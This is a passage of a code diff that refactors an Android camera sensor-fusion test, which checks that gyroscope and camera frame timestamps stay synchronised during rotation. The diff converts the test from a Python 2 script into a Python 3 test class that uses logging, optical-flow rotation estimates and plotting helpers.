-THRESH_MIN_ROT = 0.001
+_CORR_DIST_THRESH_MAX = 0.005
+_OFFSET_MS_THRESH_MAX = 1  # mseconds
+_ROTATION_PER_FRAME_MIN = 0.001  # rads/s
 
-# Chart distance
-CHART_DISTANCE = 25  # cm
+# PARAMs from S refactor.
+_GYRO_INIT_WAIT_TIME = 0.5  # Seconds to wait for gyro to stabilize.
+_GYRO_POST_WAIT_TIME = 0.2  # Seconds to wait to capture some extra gyro data.
+_IMG_SIZE_MAX = 640 * 480  # Maximum image size.
+_NUM_FRAMES_MAX = 300  # fps*test_length should be < this for smooth captures.
+_NUM_GYRO_PTS_TO_AVG = 20  # Number of gyroscope events to average.
 
 
-def main():
-    """Test if image and motion sensor events are well synchronized.
+def _collect_data(cam, fps, w, h, test_length, rot_rig, chart_dist, log_path):
+  """Capture a new set of data from the device.
 
-    The instructions for running this test are in the SensorFusion.pdf file in
-    the same directory as this test.
+  Captures camera frames while the user is moving the device in the proscribed
+  manner. Note since the capture request is for a manual request, optical
+  image stabilization (OIS) is disabled.
 
-    Note that if fps*test_length is too large, write speeds may become a
-    bottleneck and camera capture will slow down or stop.
+  Args:
+    cam: camera object.
+    fps: frames per second capture rate.
+    w: pixel width of frames.
+    h: pixel height of frames.
+    test_length: length of time for test in seconds.
+    rot_rig: dict with 'cntl' and 'ch' defined.
+    chart_dist: float value of distance to chart in meters.
+    log_path: location to save data.
 
-    Command line arguments:
-        fps:         FPS to capture with during the test
-        img_size:    Comma-separated dimensions of captured images (defaults to
-                     640x480). Ex: "img_size=<width>,<height>"
-        replay:      Without this argument, the test will collect a new set of
-                     camera+gyro data from the device and then analyze it (and
-                     it will also dump this data to files in the current
-                     directory).  If the "replay" argument is provided, then the
-                     script will instead load the dumped data from a previous
-                     run and analyze that instead. This can be helpful for
-                     developers who are digging for additional information on
-                     their measurements.
-        test_length: How long the test should run for (in seconds)
-    """
+  Returns:
+    frames: list of RGB images as numpy arrays.
+  """
+  logging.debug('Starting sensor event collection')
+  props = cam.get_camera_properties()
+  props = cam.override_with_hidden_physical_camera_props(props)
+  camera_properties_utils.skip_unless(
+      camera_properties_utils.sensor_fusion_capable(props))
 
-    fps = FPS
-    w, h = W, H
-    test_length = TEST_LENGTH
-    for s in sys.argv[1:]:
-        if s[:4] == "fps=" and len(s) > 4:
-            fps = int(s[4:])
-        elif s[:9] == "img_size=" and len(s) > 9:
-            # Split by comma and convert each dimension to int.
-            [w, h] = map(int, s[9:].split(","))
-        elif s[:12] == "test_length=" and len(s) > 12:
-            test_length = float(s[12:])
+  # Start camera rotation.
+  p = multiprocessing.Process(
+      target=sensor_fusion_utils.rotation_rig,
+      args=(rot_rig['cntl'], rot_rig['ch'], _NUM_ROTATIONS,))
+  p.start()
 
-    # Collect or load the camera+gyro data. All gyro events as well as camera
-    # timestamps are in the "events" dictionary, and "frames" is a list of
-    # RGB images as numpy arrays.
-    if "replay" not in sys.argv:
-        if w * h > 640 * 480 or fps * test_length > 300:
-            warning_str = (
-                "Warning: Your test parameters may require fast write speeds "
-                "to run smoothly.  If you run into problems, consider smaller "
-                "values of \'w\', \'h\', \'fps\', or \'test_length\'."
-            )
-            print warning_str
-        events, frames = collect_data(fps, w, h, test_length)
+  cam.start_sensor_events()
+
+  # Sleep a while for gyro events to stabilize.
+  time.sleep(_GYRO_INIT_WAIT_TIME)
+
+  # Capture frames.
+  facing = props['android.lens.facing']
+  if (facing != camera_properties_utils.LENS_FACING_FRONT and
+      facing != camera_properties_utils.LENS_FACING_BACK):
+    raise AssertionError(f'Unknown lens facing: {facing}.')
+
+  fmt = {'format': 'yuv', 'width': w, 'height': h}
+  s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
+  req = capture_request_utils.manual_capture_request(s, e)
+  capture_request_utils.turn_slow_filters_off(props, req)
+  fd_min = props['android.lens.info.minimumFocusDistance']
+  fd_chart = 1 / chart_dist
+  req['android.lens.focusDistance'] = min(fd_min, fd_chart)
+  req['android.control.aeTargetFpsRange'] = [fps, fps]
+  req['android.sensor.frameDuration'] = int(1 / _NSEC_TO_SEC / fps)
+  logging.debug('Capturing %dx%d with sens. %d, exp. time %.1fms at %dfps',
+                w, h, s, e / _MSEC_TO_NSEC, fps)
+  caps = cam.do_capture([req] * int(fps * test_length), fmt)
+
+  # Capture a bit more gyro samples for use in get_best_alignment_offset
+  time.sleep(_GYRO_POST_WAIT_TIME)
+
+  # Get the gyro events.
+  logging.debug('Reading out inertial sensor events')
+  gyro = cam.get_sensor_events()['gyro']
+  logging.debug('Number of gyro samples %d', len(gyro))
+
+  # Combine the gyro and camera events into a single structure.
+  logging.debug('Dumping event data')
+  starts = [cap['metadata']['android.sensor.timestamp'] for cap in caps]
+  exptimes = [cap['metadata']['android.sensor.exposureTime'] for cap in caps]
+  readouts = [cap['metadata']['android.sensor.rollingShutterSkew']
+              for cap in caps]
+  events = {'gyro': gyro, 'cam': list(zip(starts, exptimes, readouts)),
+            'facing': facing}
+  with open('%s_events.txt' % os.path.join(log_path, _NAME), 'w') as f:
+    f.write(json.dumps(events))
+
+  # Convert frames to RGB.
+  logging.debug('Dumping frames')
+  frames = []
+  for i, cap in enumerate(caps):
+    img = image_processing_utils.convert_capture_to_rgb_image(cap)
+    frames.append(img)
+    image_processing_utils.write_image(img, '%s_frame%03d.png' % (
+        os.path.join(log_path, _NAME), i))
+  return events, frames
+
+
+def _plot_gyro_events(gyro_events, log_path):
+  """Plot x, y, and z on the gyro events.
+
+  Samples are grouped into NUM_GYRO_PTS_TO_AVG groups and averaged to minimize
+  random spikes in data.
+
+  Args:
+    gyro_events: List of gyroscope events.
+    log_path: Text to location to save data.
+  """
+
+  nevents = (len(gyro_events) // _NUM_GYRO_PTS_TO_AVG) * _NUM_GYRO_PTS_TO_AVG
+  gyro_events = gyro_events[:nevents]
+  times = np.array([(e['time'] - gyro_events[0]['time']) * _NSEC_TO_SEC
+                    for e in gyro_events])
+  x = np.array([e['x'] for e in gyro_events])
+  y = np.array([e['y'] for e in gyro_events])
+  z = np.array([e['z'] for e in gyro_events])
+
+  # Group samples into size-N groups & average each together to minimize random
+  # spikes in data.
+  times = times[_NUM_GYRO_PTS_TO_AVG//2::_NUM_GYRO_PTS_TO_AVG]
+  x = x.reshape(nevents//_NUM_GYRO_PTS_TO_AVG, _NUM_GYRO_PTS_TO_AVG).mean(1)
+  y = y.reshape(nevents//_NUM_GYRO_PTS_TO_AVG, _NUM_GYRO_PTS_TO_AVG).mean(1)
+  z = z.reshape(nevents//_NUM_GYRO_PTS_TO_AVG, _NUM_GYRO_PTS_TO_AVG).mean(1)
+
+  pylab.figure(_NAME)
+  # x & y on same axes
+  pylab.subplot(2, 1, 1)
+  pylab.title(_NAME + ' (mean of %d pts)' % _NUM_GYRO_PTS_TO_AVG)
+  pylab.plot(times, x, 'r', label='x')
+  pylab.plot(times, y, 'g', label='y')
+  pylab.ylabel('gyro x & y movement (rads/s)')
+  pylab.legend()
+
+  # z on separate axes
+  pylab.subplot(2, 1, 2)
+  pylab.plot(times, z, 'b', label='z')
+  pylab.xlabel('time (seconds)')
+  pylab.ylabel('gyro z movement (rads/s)')
+  pylab.legend()
+  matplotlib.pyplot.savefig(
+      '%s_gyro_events.png' % (os.path.join(log_path, _NAME)))
+
+
+def _get_cam_times(cam_events):
+  """Get the camera frame times.
+
+  Assign a time to each frame. Assumes the image is instantly captured in the
+  middle of exposure.
+
+  Args:
+    cam_events: List of (start_exposure, exposure_time, readout_duration)
+                tuples, one per captured frame, with times in nanoseconds.
+
+  Returns:
+    frame_times: Array of N times, one corresponding to the 'middle' of the
+                 exposure of each frame.
+  """
+  starts = np.array([start for start, exptime, readout in cam_events])
+  exptimes = np.array([exptime for start, exptime, readout in cam_events])
+  readouts = np.array([readout for start, exptime, readout in cam_events])
+  frame_times = starts + (exptimes + readouts) / 2.0
+  return frame_times
+
+
+def _procrustes_rotation(x, y):
+  """Performs a Procrustes analysis to conform points in x to y.
+
+  Procrustes analysis determines a linear transformation (translation,
+  reflection, orthogonal rotation and scaling) of the points in y to best
+  conform them to the points in matrix x, using the sum of squared errors
+  as the metric for fit criterion.
+
+  Args:
+    x: Target coordinate matrix
+    y: Input coordinate matrix
+
+  Returns:
+    The rotation component of the transformation that maps x to y.
+  """
+  x0 = (x-x.mean(0)) / np.sqrt(((x-x.mean(0))**2.0).sum())
+  y0 = (y-y.mean(0)) / np.sqrt(((y-y.mean(0))**2.0).sum())
+  u, _, vt = np.linalg.svd(np.dot(x0.T, y0), full_matrices=False)
+  return np.dot(vt.T, u.T)
+
+
+def _get_cam_rotations(frames, facing, h, log_path):
+  """Get the rotations of the camera between each pair of frames.
+
+  Takes N frames and returns N-1 angular displacements corresponding to the
+  rotations between adjacent pairs of frames, in radians.
+  Only takes feature points from center so that rotation measured has less
+  rolling shutter effect.
+  Requires FEATURE_PTS_MIN to have enough data points for accurate measurements.
+  Uses FEATURE_PARAMS for cv2 to identify features in checkerboard images.
+  Ensures camera rotates enough.
+
+  Args:
+    frames: List of N images (as RGB numpy arrays).
+    facing: Direction camera is facing.
+    h: Pixel height of each frame.
+    log_path: Location for data.
+
+  Returns:
+    numpy array of N-1 camera rotation measurements (rad).
+  """
+  gframes = []
+  for frame in frames:
+    frame = (frame * 255.0).astype(np.uint8)  # cv2 uses [0, 255]
+    gframes.append(cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY))
+  rots = []
+
+  # create mask
+  ymin = int(h * (1 - _FEATURE_MARGIN) / 2)
+  ymax = int(h * (1 + _FEATURE_MARGIN) / 2)
+  mask = np.zeros_like(gframes[0])
+  mask[ymin:ymax, :] = 255
+
+  for i in range(1, len(gframes)):
+    gframe0 = gframes[i-1]
+    gframe1 = gframes[i]
+    p0_filtered = cv2.goodFeaturesToTrack(
+        gframe0, mask=mask, **_CV2_FEATURE_PARAMS)
+    num_features = len(p0_filtered)
+    if num_features < _FEATURE_PTS_MIN:
+      raise AssertionError(
+          f'Not enough features points in frame {i-1}. Need at least '
+          f'{_FEATURE_PTS_MIN} features, got {num_features}.')
     else:
-        events, frames, _, h = load_data()
+      logging.debug('Number of features in frame %s is %d',
+                    str(i - 1).zfill(3), num_features)
+    p1, st, _ = cv2.calcOpticalFlowPyrLK(gframe0, gframe1, p0_filtered, None,
+                                         **_CV2_LK_PARAMS)
+    tform = _procrustes_rotation(p0_filtered[st == 1], p1[st == 1])
+    if facing == camera_properties_utils.LENS_FACING_BACK:
+      rot = -math.atan2(tform[0, 1], tform[0, 0])
+    elif facing == camera_properties_utils.LENS_FACING_FRONT:
+      rot = math.atan2(tform[0, 1], tform[0, 0])
+    else:
+      raise AssertionError(f'Unknown lens facing: {facing}.')
+    rots.append(rot)
+    if i == 1:
+      # Save a debug visualization of the features that are being
+      # tracked in the first frame.
+      frame = frames[i-1]
+      for x, y in p0_filtered[st == 1]:
+        cv2.circle(frame, (x, y), 3, (100, 100, 255), -1)
+      image_processing_utils.write_image(
+          frame, '%s_features.png' % os.path.join(log_path, _NAME))
+  rots = np.array(rots)
+  rot_per_frame_max = max(abs(rots))
+  logging.debug('Max rotation: %.4f radians', rot_per_frame_max)
+  if rot_per_frame_max < _ROTATION_PER_FRAME_MIN:
+    raise AssertionError(f'Device not moved enough: {rot_per_frame_max:.3f} '
+                         f'movement. THRESH: {_ROTATION_PER_FRAME_MIN}.')
 
-    # Check that camera timestamps are enclosed by sensor timestamps
-    # This will catch bugs where camera and gyro timestamps go completely out
-    # of sync
-    cam_times = get_cam_times(events["cam"])
-    min_cam_time = min(cam_times) * NSEC_TO_SEC
-    max_cam_time = max(cam_times) * NSEC_TO_SEC
-    gyro_times = [e["time"] for e in events["gyro"]]
-    min_gyro_time = min(gyro_times) * NSEC_TO_SEC
-    max_gyro_time = max(gyro_times) * NSEC_TO_SEC
+  return rots
+
+
+def _plot_best_shift(best, coeff, x, y, log_path):
+  """Saves a plot the best offset, fit data and x,y data.
+
+  Args:
+    best: x value of best fit data.
+    coeff: 3 element np array. Return of np.polyfit(x,y) for 2nd order fit.
+    x: np array of x data that was fit.
+    y: np array of y data that was fit.
+    log_path: where to store data.
+  """
+  xfit = np.arange(x[0], x[-1], 0.05).tolist()
+  yfit = [coeff[0]*x*x + coeff[1]*x + coeff[2] for x in xfit]
+  pylab.figure()
+  pylab.title(f'{_NAME} Gyro/Camera Time Correlation')
+  pylab.plot(x, y, 'ro', label='data', alpha=0.7)
+  pylab.plot(xfit, yfit, 'b', label='fit', alpha=0.7)
+  pylab.plot(best, min(yfit), 'g*', label='best', markersize=10)
+  pylab.ticklabel_format(axis='y', style='sci', scilimits=(-3, -3))
+  pylab.xlabel('Relative horizontal shift between curves (ms)')
+  pylab.ylabel('Correlation distance')
+  pylab.legend()
+  matplotlib.pyplot.savefig(
+      '%s_plot_shifts.png' % os.path.join(log_path, _NAME))
+
+
+def _plot_rotations(cam_rots, gyro_rots, log_path):
+  """Saves a plot of the camera vs. gyro rotational measurements.
+
+  Args:
+    cam_rots: Array of camera rotation measurements (rads).
+    gyro_rots: Array of gyro rotation measurements (rads).
+    log_path: Location to store data.
+  """
+  # For plot, scale rotations to degrees.
+  pylab.figure()
+  pylab.title(f'{_NAME} Gyro/Camera Rotations')
+  pylab.plot(range(len(cam_rots)), cam_rots*_RADS_TO_DEGS, '-r.',
+             label='camera', alpha=0.7)
+  pylab.plot(range(len(gyro_rots)), gyro_rots*_RADS_TO_DEGS, '-b.',
+             label='gyro', alpha=0.7)
+  pylab.xlabel('Camera frame number')
+  pylab.ylabel('Angular displacement between adjacent camera frames (degrees)')
+  pylab.xlim([0, len(cam_rots)])
+  pylab.legend()
+  matplotlib.pyplot.savefig(
+      '%s_plot_rotations.png' % os.path.join(log_path, _NAME))
+
+
+class SensorFusionTest(its_base_test.ItsBaseTest):
+  """Tests if image and motion sensor events are well synchronized.
+
+  Tests gyro and camera timestamp differences while camera is rotating.
+  Test description is in SensorFusion.pdf file. Test rotates phone in proscribed
+  manner and captures images.
+
+  Camera rotation is determined from images and from gyroscope events.
+  Timestamp offset between gyro and camera is determined using scipy
+  spacial correlation distance. The min value is determined as the optimum.
+
+  PASS/FAIL based on the offset and also the correlation distance.
+  """
+
+  def _assert_gyro_encompasses_camera(self, cam_times, gyro_times):
+    """Confirms the camera events are bounded by the gyroscope events.
+
+    Also ensures:
+      1. Camera frame range is less than MAX_CAMERA_FRAME_RANGE. When camera
+      frame range is significantly larger than spec, the system is usually in a
+      busy/bad state.
+      2. Gyro samples per second are greater than GYRO_SAMP_RATE_MIN
+
+    Args:
+      cam_times: numpy array of camera times.
+      gyro_times: List of 'gyro' times.
+    """
+    min_cam_time = min(cam_times) * _NSEC_TO_SEC
+    max_cam_time = max(cam_times) * _NSEC_TO_SEC
+    min_gyro_time = min(gyro_times) * _NSEC_TO_SEC
+    max_gyro_time = max(gyro_times) * _NSEC_TO_SEC
     if not (min_cam_time > min_gyro_time and max_cam_time < max_gyro_time):
-        fail_str = ("Test failed: "
-                    "camera timestamps [%f,%f] "
-                    "are not enclosed by "
-                    "gyro timestamps [%f, %f]"
-                   ) % (min_cam_time, max_cam_time,
-                        min_gyro_time, max_gyro_time)
-        print fail_str
-        assert 0
+      raise AssertionError(
+          f'Camera timestamps [{min_cam_time}, {max_cam_time}] not '
+          f'enclosed by gyro timestamps [{min_gyro_time}, {max_gyro_time}]')
 
     cam_frame_range = max_cam_time - min_cam_time
+    logging.debug('Camera frame range: %f', cam_frame_range)
+
     gyro_time_range = max_gyro_time - min_gyro_time
     gyro_smp_per_sec = len(gyro_times) / gyro_time_range
-    print "Camera frame range", max_cam_time - min_cam_time
-    print "Gyro samples per second", gyro_smp_per_sec
-    assert cam_frame_range < MAX_CAM_FRM_RANGE_SEC
-    assert gyro_smp_per_sec > MIN_GYRO_SMP_RATE
+    logging.debug('Gyro samples per second: %f', gyro_smp_per_sec)
+    if cam_frame_range > _CAM_FRAME_RANGE_MAX:
+      raise AssertionError(f'Camera frame range, {cam_frame_range}s, too high!')
+    if gyro_smp_per_sec < _GYRO_SAMP_RATE_MIN:
+      raise AssertionError(f'Gyro sample rate, {gyro_smp_per_sec}S/s, low!')
 
-    # Compute the camera rotation displacements (rad) between each pair of
-    # adjacent frames.
-    cam_rots = get_cam_rotations(frames, events["facing"], h)
-    if max(abs(cam_rots)) < THRESH_MIN_ROT:
-        print "Device wasn't moved enough"
-        assert 0
+  def test_sensor_fusion(self):
+    rot_rig = {}
+    fps = float(self.fps)
+    img_w, img_h = self.img_w, self.img_h
+    test_length = float(self.test_length)
+    log_path = self.log_path
+    chart_distance = self.chart_distance * _CM_TO_M
 
-    # Find the best offset (time-shift) to align the gyro and camera motion
-    # traces; this function integrates the shifted gyro data between camera
-    # samples for a range of candidate shift values, and returns the shift that
-    # result in the best correlation.
-    offset = get_best_alignment_offset(cam_times, cam_rots, events["gyro"])
+    if img_w * img_h > _IMG_SIZE_MAX or fps * test_length > _NUM_FRAMES_MAX:
+      logging.debug(
+          'Warning: Your test parameters may require fast write speeds'
+          ' to run smoothly.  If you run into problems, consider'
+          " smaller values of 'w', 'h', 'fps', or 'test_length'.")
 
-    # Plot the camera and gyro traces after applying the best shift.
-    cam_times += offset*SEC_TO_NSEC
-    gyro_rots = get_gyro_rotations(events["gyro"], cam_times)
-    plot_rotations(cam_rots, gyro_rots)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
 
-    # Pass/fail based on the offset and also the correlation distance.
-    dist = scipy.spatial.distance.correlation(cam_rots, gyro_rots)
-    print "Best correlation of %f at shift of %.2fms"%(dist, offset*SEC_TO_MSEC)
-    assert dist < THRESH_MAX_CORR_DIST
-    assert abs(offset) < THRESH_MAX_SHIFT_MS*MSEC_TO_SEC
+      rot_rig['cntl'] = self.rotator_cntl
+      rot_rig['ch'] = self.rotator_ch
+      events, frames = _collect_data(cam, fps, img_w, img_h, test_length,
+                                     rot_rig, chart_distance, log_path)
 
+    _plot_gyro_events(events['gyro'], log_path)
 
-def get_best_alignment_offset(cam_times, cam_rots, gyro_events):
-    """Find the best offset to align the camera and gyro traces.
+    # Validity check on gyro/camera timestamps
+    cam_times = _get_cam_times(events['cam'])
+    gyro_times = [e['time'] for e in events['gyro']]
+    self._assert_gyro_encompasses_camera(cam_times, gyro_times)
 
-    Uses a correlation distance metric between the curves, where a smaller
-    value means that the curves are better-correlated.
+    # Compute cam rotation displacement(rads) between pairs of adjacent frames.
+    cam_rots = _get_cam_rotations(frames, events['facing'], img_h, log_path)
+    logging.debug('cam_rots: %s', str(cam_rots))
+    gyro_rots = sensor_fusion_utils.get_gyro_rotations(
+        events['gyro'], cam_times)
+    _plot_rotations(cam_rots, gyro_rots, log_path)
 
-    Args:
-        cam_times: Array of N camera times, one for each frame.
-        cam_rots: Array of N-1 camera rotation displacements (rad).
-        gyro_events: List of gyro event objects.
+    # Find the best offset.
+    offset_ms, coeffs, candidates, distances = sensor_fusion_utils.get_best_alignment_offset(
+        cam_times, cam_rots, events['gyro'])
+    _plot_best_shift(offset_ms, coeffs, candidates, distances, log_path)
 
-    Returns:
-        Offset (seconds) of the best alignment.
-    """
-    # Measure the corr. dist. over a shift of up to +/- 50ms (0.5ms step size).
-    # Get the shift corresponding to the best (lowest) score.
-    candidates = numpy.arange(-50, 50.5, 0.5).tolist()
-    dists = []
-    for shift in candidates:
-        times = cam_times + shift*MSEC_TO_NSEC
-        gyro_rots = get_gyro_rotations(gyro_events, times)
-        dists.append(scipy.spatial.distance.correlation(cam_rots, gyro_rots))
-    best_corr_dist = min(dists)
-    best_shift = candidates[dists.index(best_corr_dist)]
+    # Calculate correlation distance with best offset.
+    corr_dist = scipy.spatial.distance.correlation(cam_rots, gyro_rots)
+    logging.debug('Best correlation of %f at shift of %.3fms',
+                  corr_dist, offset_ms)
 
-    print "Best shift without fitting is ", best_shift, "ms"
+    # Assert PASS/FAIL criteria.
+    if corr_dist > _CORR_DIST_THRESH_MAX:
+      raise AssertionError(f'Poor gyro/camera correlation. '
+                           f'Corr: {corr_dist}, TOL: {_CORR_DIST_THRESH_MAX}.')
+    if abs(offset_ms) > _OFFSET_MS_THRESH_MAX:
+      raise AssertionError('Offset too large. Measured (ms): '
+                           f'{offset_ms:.3f}, TOL: {_OFFSET_MS_THRESH_MAX}.')
 
-    # Fit a curve to the corr. dist. data to measure the minima more
-    # accurately, by looking at the correlation distances within a range of
-    # +/- 10ms from the measured best score; note that this will use fewer
-    # than the full +/- 10 range for the curve fit if the measured score
-    # (which is used as the center of the fit) is within 10ms of the edge of
-    # the +/- 50ms candidate range.
-    i = dists.index(best_corr_dist)
-    candidates = candidates[i-20:i+21]
-    dists = dists[i-20:i+21]
-    a, b, c = numpy.polyfit(candidates, dists, 2)
-    exact_best_shift = -b/(2*a)
-    if abs(best_shift - exact_best_shift) > 2.0 or a <= 0 or c <= 0:
-        print "Test failed; bad fit to time-shift curve"
-        print "best_shift %f, exact_best_shift %f, a %f, c %f" % (
-                best_shift, exact_best_shift, a, c)
-        assert 0
-
-    xfit = numpy.arange(candidates[0], candidates[-1], 0.05).tolist()
-    yfit = [a*x*x+b*x+c for x in xfit]
-    matplotlib.pyplot.figure()
-    pylab.plot(candidates, dists, "r", label="data")
-    pylab.plot(xfit, yfit, "", label="fit")
-    pylab.plot([exact_best_shift+x for x in [-0.1, 0, 0.1]], [0, 0.01, 0], "b")
-    pylab.xlabel("Relative horizontal shift between curves (ms)")
-    pylab.ylabel("Correlation distance")
-    pylab.legend()
-    matplotlib.pyplot.savefig("%s_plot_shifts.png" % (NAME))
-
-    return exact_best_shift * MSEC_TO_SEC
-
-
-def plot_rotations(cam_rots, gyro_rots):
-    """Save a plot of the camera vs. gyro rotational measurements.
-
-    Args:
-        cam_rots: Array of N-1 camera rotation measurements (rad).
-        gyro_rots: Array of N-1 gyro rotation measurements (rad).
-    """
-    # For the plot, scale the rotations to be in degrees.
-    scale = 360/(2*math.pi)
-    matplotlib.pyplot.figure()
-    cam_rots *= scale
-    gyro_rots *= scale
-    pylab.plot(range(len(cam_rots)), cam_rots, "r", label="camera")
-    pylab.plot(range(len(gyro_rots)), gyro_rots, "b", label="gyro")
-    pylab.legend()
-    pylab.xlabel("Camera frame number")
-    pylab.ylabel("Angular displacement between adjacent camera frames (deg)")
-    pylab.xlim([0, len(cam_rots)])
-    matplotlib.pyplot.savefig("%s_plot.png" % (NAME))
-
-
-def get_gyro_rotations(gyro_events, cam_times):
-    """Get the rotation values of the gyro.
-
-    Integrates the gyro data between each camera frame to compute an angular
-    displacement.
-
-    Args:
-        gyro_events: List of gyro event objects.
-        cam_times: Array of N camera times, one for each frame.
-
-    Returns:
-        Array of N-1 gyro rotation measurements (rad).
-    """
-    all_times = numpy.array([e["time"] for e in gyro_events])
-    all_rots = numpy.array([e["z"] for e in gyro_events])
-    gyro_rots = []
-    # Integrate the gyro data between each pair of camera frame times.
-    for icam in range(len(cam_times)-1):
-        # Get the window of gyro samples within the current pair of frames.
-        tcam0 = cam_times[icam]
-        tcam1 = cam_times[icam+1]
-        igyrowindow0 = bisect.bisect(all_times, tcam0)
-        igyrowindow1 = bisect.bisect(all_times, tcam1)
-        sgyro = 0
-        # Integrate samples within the window.
-        for igyro in range(igyrowindow0, igyrowindow1):
-            vgyro = all_rots[igyro+1]
-            tgyro0 = all_times[igyro]
-            tgyro1 = all_times[igyro+1]
-            deltatgyro = (tgyro1 - tgyro0) * NSEC_TO_SEC
-            sgyro += vgyro * deltatgyro
-        # Handle the fractional intervals at the sides of the window.
-        for side, igyro in enumerate([igyrowindow0-1, igyrowindow1]):
-            vgyro = all_rots[igyro+1]
-            tgyro0 = all_times[igyro]
-            tgyro1 = all_times[igyro+1]
-            deltatgyro = (tgyro1 - tgyro0) * NSEC_TO_SEC
-            if side == 0:
-                f = (tcam0 - tgyro0) / (tgyro1 - tgyro0)
-                sgyro += vgyro * deltatgyro * (1.0 - f)
-            else:
-                f = (tcam1 - tgyro0) / (tgyro1 - tgyro0)
-                sgyro += vgyro * deltatgyro * f
-        gyro_rots.append(sgyro)
-    gyro_rots = numpy.array(gyro_rots)
-    return gyro_rots
-
-
-def get_cam_rotations(frames, facing, h):
-    """Get the rotations of the camera between each pair of frames.
-
-    Takes N frames and returns N-1 angular displacements corresponding to the
-    rotations between adjacent pairs of frames, in radians.
-
-    Args:
-        frames: List of N images (as RGB numpy arrays).
-        facing: Direction camera is facing
-        h:      Pixel height of each frame
-
-    Returns:
-        Array of N-1 camera rotation measurements (rad).
-    """
-    gframes = []
-    for frame in frames:
-        frame = (frame * 255.0).astype(numpy.uint8)
-        gframes.append(cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY))
-    rots = []
-
-    ymin = h*(1-FEATURE_MARGIN)/2
-    ymax = h*(1+FEATURE_MARGIN)/2
-    for i in range(1, len(gframes)):
-        gframe0 = gframes[i-1]
-        gframe1 = gframes[i]
-        p0 = cv2.goodFeaturesToTrack(gframe0, mask=None, **FEATURE_PARAMS)
-        # p0's shape is N * 1 * 2
-        mask = (p0[:, 0, 1] >= ymin) & (p0[:, 0, 1] <= ymax)
-        p0_filtered = p0[mask]
-        num_features = len(p0_filtered)
-        if num_features < MIN_FEATURE_PTS:
-            print "Not enough feature points in frame %s" % str(i-1).zfill(3)
-            print "Need at least %d features, got %d" % (
-                    MIN_FEATURE_PTS, num_features)
-            assert 0
-        else:
-            print "Number of features in frame %s is %d" % (
-                    str(i-1).zfill(3), num_features)
-        p1, st, _ = cv2.calcOpticalFlowPyrLK(gframe0, gframe1, p0_filtered,
-                                             None, **LK_PARAMS)
-        tform = procrustes_rotation(p0_filtered[st == 1], p1[st == 1])
-        if facing == its.caps.FACING_BACK:
-            rot = -math.atan2(tform[0, 1], tform[0, 0])
-        elif facing == its.caps.FACING_FRONT:
-            rot = math.atan2(tform[0, 1], tform[0, 0])
-        else:
-            print "Unknown lens facing", facing
-            assert 0
-        rots.append(rot)
-        if i == 1:
-            # Save a debug visualization of the features that are being
-            # tracked in the first frame.
-            frame = frames[i]
-            for x, y in p0_filtered[st == 1]:
-                cv2.circle(frame, (x, y), 3, (100, 100, 255), -1)
-            its.image.write_image(frame, "%s_features.png" % NAME)
-    return numpy.array(rots)
-
-
-def get_cam_times(cam_events):
-    """Get the camera frame times.
-
-    Args:
-        cam_events: List of (start_exposure, exposure_time, readout_duration)
-            tuples, one per captured frame, with times in nanoseconds.
-
-    Returns:
-        frame_times: Array of N times, one corresponding to the "middle" of
-            the exposure of each frame.
-    """
-    # Assign a time to each frame that assumes that the image is instantly
-    # captured in the middle of its exposure.
-    starts = numpy.array([start for start, exptime, readout in cam_events])
-    exptimes = numpy.array([exptime for start, exptime, readout in cam_events])
-    readouts = numpy.array([readout for start, exptime, readout in cam_events])
-    frame_times = starts + (exptimes + readouts) / 2.0
-    return frame_times
-
-
-def load_data():
-    """Load a set of previously captured data.
-
-    Returns:
-        events: Dictionary containing all gyro events and cam timestamps.
-        frames: List of RGB images as numpy arrays.
-        w:      Pixel width of frames
-        h:      Pixel height of frames
-    """
-    with open("%s_events.txt" % NAME, "r") as f:
-        events = json.loads(f.read())
-    n = len(events["cam"])
-    frames = []
-    for i in range(n):
-        img = Image.open("%s_frame%03d.png" % (NAME, i))
-        w, h = img.size[0:2]
-        frames.append(numpy.array(img).reshape(h, w, 3) / 255.0)
-    return events, frames, w, h
-
-
-def collect_data(fps, w, h, test_length):
-    """Capture a new set of data from the device.
-
-    Captures both motion data and camera frames, while the user is moving
-    the device in a proscribed manner.
-
-    Args:
-        fps:         FPS to capture with
-        w:           Pixel width of frames
-        h:           Pixel height of frames
-        test_length: How long the test should run for (in seconds)
-
-    Returns:
-        events: Dictionary containing all gyro events and cam timestamps.
-        frames: List of RGB images as numpy arrays.
-    """
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.sensor_fusion_test_capable(props, cam))
-
-        print "Starting sensor event collection"
-        cam.start_sensor_events()
-
-        # Sleep a while for gyro events to stabilize.
-        time.sleep(0.5)
-
-        # Capture the frames. OIS is disabled for manual captures.
-        facing = props["android.lens.facing"]
-        if facing != its.caps.FACING_FRONT and facing != its.caps.FACING_BACK:
-            print "Unknown lens facing", facing
-            assert 0
-
-        fmt = {"format": "yuv", "width": w, "height": h}
-        s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
-        req = its.objects.manual_capture_request(s, e)
-        its.objects.turn_slow_filters_off(props, req)
-        fd_min = props["android.lens.info.minimumFocusDistance"]
-        fd_chart = 1 / (CHART_DISTANCE * CM_TO_M)
-        if fd_min < fd_chart:
-            req["android.lens.focusDistance"] = fd_min
-        else:
-            req["android.lens.focusDistance"] = fd_chart
-        req["android.control.aeTargetFpsRange"] = [fps, fps]
-        req["android.sensor.frameDuration"] = int(1000.0/fps * MSEC_TO_NSEC)
-        print "Capturing %dx%d with sens. %d, exp. time %.1fms at %dfps" % (
-                w, h, s, e*NSEC_TO_MSEC, fps)
-        caps = cam.do_capture([req]*int(fps*test_length), fmt)
-
-        # Capture a bit more gyro samples for use in
-        # get_best_alignment_offset
-        time.sleep(0.2)
-
-        # Get the gyro events.
-        print "Reading out sensor events"
-        gyro = cam.get_sensor_events()["gyro"]
-        print "Number of gyro samples", len(gyro)
-
-        # Combine the events into a single structure.
-        print "Dumping event data"
-        starts = [c["metadata"]["android.sensor.timestamp"] for c in caps]
-        exptimes = [c["metadata"]["android.sensor.exposureTime"] for c in caps]
-        readouts = [c["metadata"]["android.sensor.rollingShutterSkew"]
-                    for c in caps]
